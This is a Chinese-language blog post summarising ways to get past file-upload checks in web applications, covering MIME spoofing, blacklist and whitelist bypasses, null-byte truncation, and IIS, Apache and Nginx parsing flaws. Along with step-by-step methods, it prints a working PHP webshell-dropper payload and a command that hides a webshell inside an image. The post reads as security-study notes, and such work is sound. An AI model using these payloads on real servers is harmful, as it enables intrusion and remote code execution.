目录
  1. 1. 1.基础篇
    1. 1.1. 1.1 修改前端代码
    2. 1.2. 1.2 抓包修改后缀
    3. 1.3. 1.3 绕过MIME检测
  2. 2. 2.基础篇无法解决篇
    1. 2.1. 2.1 绕过黑名单
      1. 2.1.1. 2.1.1 通用
      2. 2.1.2. 2.1.2上传 .hatccess绕过
      3. 2.1.3. 2.1.3 服务器为Windows系统时
    2. 2.2. 2.1 绕过白名单
      1. 2.2.1. 2.1.1 00截断
      2. 2.2.2. 2.2.2 使用图片马
        1. 2.2.2.1. 2.2.2.1:图片马+文件包含漏洞
        2. 2.2.2.2. 2.2.2.2:图片马+各类解析漏洞
          1. 2.2.2.2.1. 类型一:IIS解析漏洞(常用)
          2. 2.2.2.2.2. 类型二:Apache解析漏洞
          3. 2.2.2.2.3. 类型三:Nginx解析漏洞
上传绕过总结

前话:上传后的保存路径获取:可以抓包看上传包或者返回包中是否会包含路径,如果没有,若上传的文件如图片会回显在前端,可以f12查看源码找其链接。

1.基础篇

1.1 修改前端代码

添加需要上传的文件类型,如(php)

1.2 抓包修改后缀

先将木马文件改为可被允许的类型(如jpg),在通过抓包修改后缀

1.3 绕过MIME检测

有的时候需要修改 content/type字段为Content-Type:image/jpeg;来绕过检测MIME类型。

2.基础篇无法解决篇

2.1 绕过黑名单

2.1.1 通用

可以使用大小写(Php),双写(pphphp,只有黑名单中php被替换为空字符才可行),可解析特殊后缀(php3,需要.hatccess)来绕过。

2.1.2上传 .hatccess绕过

前提:需要apache支持,配置文件httpd.conf中LoadModule rewrite_module modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成All,且黑名单中不包含.hatccess
内容:AddType application/x-httpd-php .php .phtml .phps .php5 .pht
<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
 </FilesMatch>
注释:将特定文件名为4.jpg解析为php

2.1.3 服务器为Windows系统时

方法一:利用系统命名规则绕过,后缀跟空格’ ‘或‘.’,此时文件保存在windows系统中后缀仍为php
后缀加空格)后缀加点
方法二:利用windows数据流::$DATA,在php+windows的情况下:如果文件名+”::$DATA“会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA“之前的文件名。
末尾加上::$data

2.1 绕过白名单

2.1.1 00截断

方法一:%00截断
利用条件:
1、php版本小于5.3.4;
2、php.ini的magic_quotes_gpc为OFF状态
保存路径参数通过get方法传递
需要注意,保存路径参数在源码中用get传递,才能使用%00,否则应使用方法二。
通过在路径后手动添加111.php%00,将test.jpg中的数据保存到111.php中
方法二:0x00截断
条件:基本同%00,同时要求路径参数由post传递
保存路径参数通过post方法传递
步骤一:
路径中手动添加1.php+
步骤二:
+的二进制2b修改为oo
发送该包上传成功,并保存为1.php
也可以直接在文件末尾添加%00,并选择转换,再发送该包
另一种利用0x00的方法

2.2.2 使用图片马

生成图片马:copy 1.jpg /b + shell.php /a shell.jpg(将同一目录下的正常图片1.jpg同脚本文件shell.php合并,生成shell,jpg图片文件。)

2.2.2.1:图片马+文件包含漏洞

利用文件包含

2.2.2.2:图片马+各类解析漏洞

类型一:IIS解析漏洞(常用)

IIS 5.X-6.X(执行asp文件)
参考链接
1.目录解析:
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
限制:需要存在一个asp结尾的文件夹,然后其内的文件才会被当作asp解析
2.文件解析(畸形后缀):
*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 .asp文件执行。
3.解析文件类型:
这些版本的IIS还能直接执行test.asa、test.cer和test.cdx这三种类型的文件。
*
IIS 7.0-7.5**
参考链接
形式一:www.xxxx.com/UploadFiles/image/1.jpg/1.php
原理:IIS7.0/7.5的漏洞,都是由于php配置文件中,开启了cgi.fix_pathinfo,所以当接收到/1.jpg/1.php(后面的1.php原本并不存在)参数时,会将1.jpg当做php文件解析。
步骤:先上传包含php代码(如<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>)的图片1.jpg,随后使用菜刀连接其保存地址,将地址中文件名修改为1.jpg/xx.php,此时其会被当做php解析执行,生成shell.php的一句话木马。
形式二:www.xxxx.com/UploadFiles/image/a.aspx.a;.a.aspx.jpg..jpg (这里是直接把文件命名为这样再上传)

类型二:Apache解析漏洞

参考链接
方法一:
形式:www.xxxx.xxx.com/test.php.xxxxx(这里的xxx填写不可被apache解析的后缀如php3,rar等)
原理:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
步骤:上传一个命名为test.php.rar的文件,即可被解析为php

方法二(配置问题导致):
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg即使扩展名是 jpg,一样能以 php 方式执行。

类型三:Nginx解析漏洞

nginx解析漏洞类似于IIS 7.0/7.5,利用形式表现为:
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
步骤:均是上传正常图片,访问的时候修改文件名来达到解析为php执行的目的。

文章作者: Zhaoyh
文章链接: https://zhaoyh222.github.io/2019/12/19/upload/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Zhaoyh's blog
打赏
  • 微信
  • 支付宝